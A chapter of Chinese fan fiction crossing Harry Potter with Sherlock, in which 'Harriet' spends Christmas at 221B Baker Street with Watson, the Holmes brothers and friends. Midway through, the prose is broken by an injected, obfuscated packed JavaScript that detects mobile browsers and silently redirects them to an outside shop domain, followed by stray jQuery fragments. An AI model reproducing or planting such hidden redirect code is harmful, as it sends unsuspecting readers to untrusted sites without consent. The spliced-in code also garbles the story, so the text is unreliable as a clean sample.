斯莱特林的队长在赛后忿忿不平地吼叫，称比赛在哈莉特·波特扫帚出现异常的时候应该算暂停，所以成绩取消。但霍琦女士最终判定，因为比赛没有正式宣布暂停，而且波特小姐确实是在球场内抓到的金色飞贼，这场意外横出的魁地奇比赛最后的结果是：
格兰芬多170分:斯莱特林130分
伍德难得在早餐时间爆了粗口：“那个巨怪！他怎么有脸向霍琦女士申诉的，他们在我们分神关注哈利的时候趁机进了快十个鬼飞球。”
弗雷德和乔治凑了过来，一人搂着一边哈莉特的肩：
“哈利！”
“你在观众席里面——”
“把奇洛痛扁了一顿！”
弗雷德笑嘻嘻地说：“本来我俩想送你一只马桶圈来着，但我们忽然想起，你是麻瓜世界长大的——”
“应该是你拆给我们才对！”两人异口同声，“那种带按钮的，学校里可没有。”
安吉丽娜：“拜托，两位先生，这里是饭厅，我们在吃-早-餐。”
可能是因为奇洛从观众席被抬走时的模样太过凄惨，再加上学校通报说奇洛试图偷盗四楼走廊里的东西，从黑魔法防御术课教授一职被辞退，校园里马上就流行起传闻：哈莉特为了守护学校的宝物，和奇洛用飞天扫帚展开决战。有人信誓旦旦地说，他在奇洛的脸上看见了光轮2000的扫帚印。
格兰芬多们显然对她的勇气非常钦佩，最近她进出休息室的时候，都会有人和她热情地打招呼。
“哈利，你是不是要回去过圣诞？”赫敏接着之前的话题。
哈莉特点点头：“对，周五就走了。”
罗恩希冀道：“我妈妈他们过了圣诞就要去罗马尼亚看查理了，家里没人带我。所以——我假期的最后几天可以到你们家那边去玩吗？”自从哈莉特给他们两个讲过一些福尔摩斯侦破的案子后，他就对这些侦探故事着了迷，一直很希望能亲眼见到她的养父：一个传奇的麻瓜。
“还有我。”赫敏举手，“我们家离贝克街不远。”
——————
直到哈德森太太打开221B的门时，哈莉特才感觉自己回到了家。
“天哪，这是谁家的小公主呀！”看着眼前穿着黑色斗篷和皮鞋的小姑娘，哈德森太太激动地亲了一口她的脸蛋，把她迎到家里。
公寓里已经挂上了红绿相间的圣诞装饰，还有一棵迷你的圣诞树，摆放在约翰·华生常坐的扶手椅旁边。夏洛克·福尔摩斯放在长架上的一排石膏模像全都被哈德森太太套上了圣诞帽——“批发很划算！”——她如是说。空气中弥漫着松针、热红茶和黄油点心的香气。
华生受邻居的邀请，去附近一所慈善机构及社区学校进行福利义诊；而福尔摩斯一直神出鬼没，哈德森太太也不知道他在哪个地方。
“亲爱的，你也不知道多给我们写几封信。”哈德森太太端着一杯热茶，故作埋怨道，“拍的照片也不多，就是一些风景照，有的照片约翰和夏洛克还不让我看。唉，不知道你们在搞什么。”
哈莉特心虚地点头。他们至今还没有告诉哈德森太太，她去的是一所魔法学校。
“你加入的那个什么球队最后是不是赢了？比得怎么样啊？听约翰说强度可不小。”她关切地说。
……哈莉特更心虚了：“运气好，最后赢了。”
就在哈德森太太饶有兴致地点评这所苏格兰寄宿学校的宿舍情况时，门铃被按响了。是茉莉·霍珀和格雷格·雷斯垂德。
“啊，哈利！本来我们还想去国王十字车站接你呢，听夏洛克说你的火车会晚点才作罢的。没想到你比我们到得还早。”茉莉和哈莉特拥抱，“小姑娘，你长得真快呀！快到抽条的年纪了。”
雷斯垂德也不复平常的严肃，他笑着说：“寄宿学校就是让人——独立！自主！你看哈利，她和半年前的精气神可不一样。”
“约翰和夏洛克快到了吧？”哈德森太太已经把圣诞晚宴的前菜端上了桌。雷斯垂德透过窗户，看到了楼下的黑车：“来了。”
三道不同的脚步声在楼梯上响起：迈克罗夫特·福尔摩斯在百忙之中抽空前来公寓，陪他亲爱的弟弟、弟弟的男朋友和侄女一起过圣诞节。
“哈利难得回来一趟，我只是顺路过来探望她。”迈克罗夫特嘴巴很硬。
夏洛克·福尔摩斯脱下大衣，头也不回：“你让安西娅取消了今晚在白/厅的宴会，并且在今晚之前不要联系你。”
华生拿出酒瓶，众人斟满了酒：“夏洛克，今天你只要吃饭就好。”
“好啦——好啦——都停停，该到祝酒的时候了。”
哈德森太太第一个举起酒杯。
“祝我们的小姑娘在新学校顺利度过接下来的学习生活，祝茉莉姑娘工作顺利，也祝这间屋子里的先生们，明年能够稍微让我省一点心。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852780|211851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“后半句不可能实现。”夏洛克小声地反驳。
“都说了让你吃饭就好！”桌上其他的人听到华生的这句话，都笑了起来。
华生忍着笑，也举起了杯子：“祝贺哈利顺利结束第一个学期——下学期还是少违反几条校规吧。”
哈德森太太：“哈利怎么会违反校规呢？约翰，你真是开玩笑。”
其他人纷纷说：“哈利，下次就不要主动和约翰说了！我们都很放心，你肯定不会让老师发现的。”
哈莉特把手上的杯子举得更高了一些：
“那么——祝我们所有人圣诞快乐！”
“圣诞快乐。”
“圣诞快乐！”
……
壁炉里的炭烧得通红，圣诞树上的小灯在枝叶之间安静地闪烁，把窗外飘落的雪映成一片模糊而柔和的银光。
夏洛克和迈克罗夫特各自拿起一台小提琴，在窗台边较量起来。华生坐在他的扶手椅上，听着两位福尔摩斯先生在一首欢快的圣诞颂歌上针锋相对，谁也不落下风。
壁炉另一边，雷斯垂德正在同茉莉讨论年底积压下来的几桩案子。哈德森太太听得津津有味，哈莉特也抱着膝盖坐在她身边。在茉莉附身去取茶壶时，哈莉特见别人不注意，悄悄抽出魔杖，对着她的发梢点了一点。一只柔软漂亮的红色蝴蝶结立刻出现在她的辫子末端。
“哦。”茉莉怔了一下，伸手摸到它。
“什么时候戴上的？非常适合你的红裙子，亲爱的。”哈德森太太说，她没发现手里的茶杯上长出了鲜花枝蔓的纹路。
雷斯垂德拿起杯子，喝了一口，疑惑道：“我的啤酒加糖了吗？”
哈莉特满意地点了点头，把魔杖重新藏回袖口——迈克罗夫特和夏洛克看到彼此的小提琴上落满了槲寄生，华生的毛衣被印上了一只卡通小熊的刺绣。
“哦，我调皮的侄女。她好像忘了自己身上有踪丝这回事了。”
“今晚是平安夜。”
“所以？”
“你‘调皮的’侄女几天前的所作所为让更多人都能安心地过一个平安夜。”
“看来，作为家里唯一的政/府小职员，我需要另外送她一份圣诞礼物了。”
“继续吧，两位先生。你们的谈话远远不如你们的音乐美妙。”
……
圣诞节的早晨，哈莉特的第一个圣诞礼物来自奥利安：一封警告信。